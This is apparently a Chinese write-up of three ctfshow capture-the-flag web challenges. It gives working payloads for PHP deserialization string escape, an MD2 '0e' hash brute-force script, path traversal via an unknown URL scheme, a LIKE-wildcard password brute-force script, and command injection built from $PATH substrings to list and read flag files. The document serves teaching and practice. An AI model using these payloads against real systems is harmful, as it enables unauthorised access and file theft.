web1_此夜圆
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这里由于只能get传入一个1
参数,最后经反序列化后password==='yu22x'
就能拿到flag。
而1参数赋值给的是$uname
,这里就涉及到了反序列化逃逸,可以参考羽师傅的文章:[0CTF 2016]piapiapia(反序列化逃逸)。
#示例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));
#得出
array(1) {
[0]=>
string(3) "abc"
}
也就是说,反序列化出来就会把后面的忽略掉。
此题默认password=1
,反序列化后就会生成s:8:"password";i:1;
。
而我们可以自己构造s:8:"password";s:5:"yu22x";
。
尝试一下在本地传入Firebasky";s:8:"password";s:5:"yu22x";}
序列化结果
O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
这里由于我们传入的字符串有39位,把我们需要的password也给覆盖了
";s:8:"password";s:5:"yu22x";}
的长度为30,而每输入一个Firebasky
被替换成Firebaskyup
,长度保持不变,也就可以逃逸出2个字符。所以这里需要15个Firebasky
就能逃逸出30个字符。
所以最终payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!
题目hint
存在一个robots.txt
跟以前的md5类似啊。用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以。
后来还给了hint,访问robots.txt,得到hinthint.txt,内容
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
第一关
is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0
第一个绕过我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001
可以绕过但是这里限制了长度,所以我们就可以通过科学计数法呀
payload:1e-200
这里自己之前测试过window和linux下面的精度都一样是1e-162
但是这个长度要有限制的,即1e-162到1e-323
超过323位会失效
第二关
脚本:
<?php
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
php遇到不认识的协议就会当目录处理,例如a://aaa/…/…/etc/passwd之类的。
url=a://ctfshow.com/../../../../../../../fl0g.txt
web3_莫负婵娟
右键查看源代码发现
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
12
看来是like注入了。
like模糊查询可以使用%
匹配多个字符,_
匹配单个字符。
尝试后发现%
被过滤,不过下划线(_)并没有被过滤。
这里就需要猜测password的位数了,好家伙,竟然密码有32位。如果小于或大于32个_
都会报wrong username or password
。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
既然这样,就可以爆破出密码。
脚本
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
密码为67815b0c009ee970fe4014abaa3Fa6A0
。
填入密码来到/P1099.php
界面。
Normal connection
表示正常连接
Abnormal connection
表示异常连接;
evil input
表示被过滤了。
尝试发现过滤了一堆,就连a
都过滤了。那就FUZZ跑可显示的字符,看看都过滤了什么
小写字母全被过滤。大写字母、数字、$
、:
没被过滤。
linux里有一个环境变量$PATH
,可以用它来构造小写字母执行命令。
尝试构造ls
得到flag.php。
ip=0;${PATH:5:1}${PATH:2:1}
构造nl flag.php
右键查看源代码得到flag
ip=0;${PATH:14:1}${PATH:5:1} ????.???
参考文章: